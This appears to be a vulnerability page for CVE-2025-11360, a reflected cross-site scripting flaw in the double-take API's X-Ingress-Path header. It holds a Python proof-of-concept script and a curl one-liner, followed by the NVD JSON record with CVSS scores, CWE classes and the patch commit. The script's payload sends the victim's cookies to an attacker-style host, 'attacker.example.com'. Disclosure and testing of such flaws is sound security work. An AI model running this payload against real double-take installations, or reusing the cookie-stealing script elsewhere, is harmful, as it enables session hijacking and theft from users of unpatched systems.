CVE-2025-11360

# CVE-2025-11360 PoC - double-take XSS via X-Ingress-Path header # Vulnerability: Reflected XSS in api/src/app.js via app.use middleware # Affected: double-take <= 1.13.1 # Fixed in: 1.13.2 import requests TARGET_URL = "http://target-double-take-api:3000/" MALICIOUS_PAYLOAD = "<script>alert('XSS-CVE-2025-11360');document.location='https://attacker.example.com/steal?cookie='+document.cookie;</script>" # Construct the malicious request with X-Ingress-Path header injection headers = { "X-Ingress-Path": MALICIOUS_PAYLOAD, "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36" } # Send the request - the X-Ingress-Path value will be reflected in the response response = requests.get(TARGET_URL, headers=headers) print(f"[*] Status Code: {response.status_code}") print(f"[*] Response contains payload: {MALICIOUS_PAYLOAD in response.text}") if MALICIOUS_PAYLOAD in response.text: print("[+] VULNERABLE: XSS payload reflected in response without sanitization!") else: print("[-] NOT VULNERABLE or payload was sanitized") # Alternative curl-based PoC: # curl -H "X-Ingress-Path: <script>alert('XSS')</script>" http://target:3000/api/endpoint

{"cve": {"id": "CVE-2025-11360", "sourceIdentifier": "[email protected]", "published": "2025-10-07T09:15:34.223", "lastModified": "2026-04-15T00:35:42.020", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "A vulnerability was detected in jakowenko double-take up to 1.13.1. The impacted element is the function app.use of the file api/src/app.js of the component API. The manipulation of the argument X-Ingress-Path results in cross site scripting. The attack can be executed remotely. Upgrading to version 1.13.2 is sufficient to resolve this issue. The patch is identified as e11de9dd6b4ea6b7ec9a5607a920d48961e9fa50. The affected component should be upgraded."}], "metrics": {"cvssMetricV40": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "4.0", "vectorString": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:P/VC:N/VI:L/VA:N/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X", "baseScore": 5.3, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "attackRequirements": "NONE", "privilegesRequired": "NONE", "userInteraction": "PASSIVE", "vulnConfidentialityImpact": "NONE", "vulnIntegrityImpact": "LOW", "vulnAvailabilityImpact": "NONE", "subConfidentialityImpact": "NONE", "subIntegrityImpact": "NONE", "subAvailabilityImpact": "NONE", "exploitMaturity": "NOT_DEFINED", "confidentialityRequirement": "NOT_DEFINED", "integrityRequirement": "NOT_DEFINED", "availabilityRequirement": "NOT_DEFINED", "modifiedAttackVector": "NOT_DEFINED", "modifiedAttackComplexity": "NOT_DEFINED", "modifiedAttackRequirements": "NOT_DEFINED", "modifiedPrivilegesRequired": "NOT_DEFINED", "modifiedUserInteraction": "NOT_DEFINED", "modifiedVulnConfidentialityImpact": "NOT_DEFINED", "modifiedVulnIntegrityImpact": "NOT_DEFINED", "modifiedVulnAvailabilityImpact": "NOT_DEFINED", "modifiedSubConfidentialityImpact": "NOT_DEFINED", "modifiedSubIntegrityImpact": "NOT_DEFINED", "modifiedSubAvailabilityImpact": "NOT_DEFINED", "Safety": "NOT_DEFINED", "Automatable": "NOT_DEFINED", "Recovery": "NOT_DEFINED", "valueDensity": "NOT_DEFINED", "vulnerabilityResponseEffort": "NOT_DEFINED", "providerUrgency": "NOT_DEFINED"}}], "cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:L/A:N", "baseScore": 4.3, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "REQUIRED", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "LOW", "availabilityImpact": "NONE"}, "exploitabilityScore": 2.8, "impactScore": 1.4}], "cvssMetricV2": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "2.0", "vectorString": "AV:N/AC:L/Au:N/C:N/I:P/A:N", "baseScore": 5.0, "accessVector": "NETWORK", "accessComplexity": "LOW", "authentication": "NONE", "confidentialityImpact": "NONE", "integrityImpact": "PARTIAL", "availabilityImpact": "NONE"}, "baseSeverity": "MEDIUM", "exploitabilityScore": 10.0, "impactScore": 2.9, "acInsufInfo": false, "obtainAllPrivilege": false, "obtainUserPrivilege": false, "obtainOtherPrivilege": false, "userInteractionRequired": false}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-79"}, {"lang": "en", "value": "CWE-94"}]}], "references": [{"url": "https://github.com/jakowenko/double-take/commit/e11de9dd6b4ea6b7ec9a5607a920d48961e9fa50", "source": "[email protected]"}, {"url": "https://github.com/jakowenko/double-take/releases/tag/v1.13.2", "source": "[email protected]"}, {"url": "https://vuldb.com/?ctiid.327247", "source": "[email protected]"}, {"url": "https://vuldb.com/?id.327247", "source": "[email protected]"}, {"url": "https://vuldb.com/?submit.664967", "source": "[email protected]"}]}}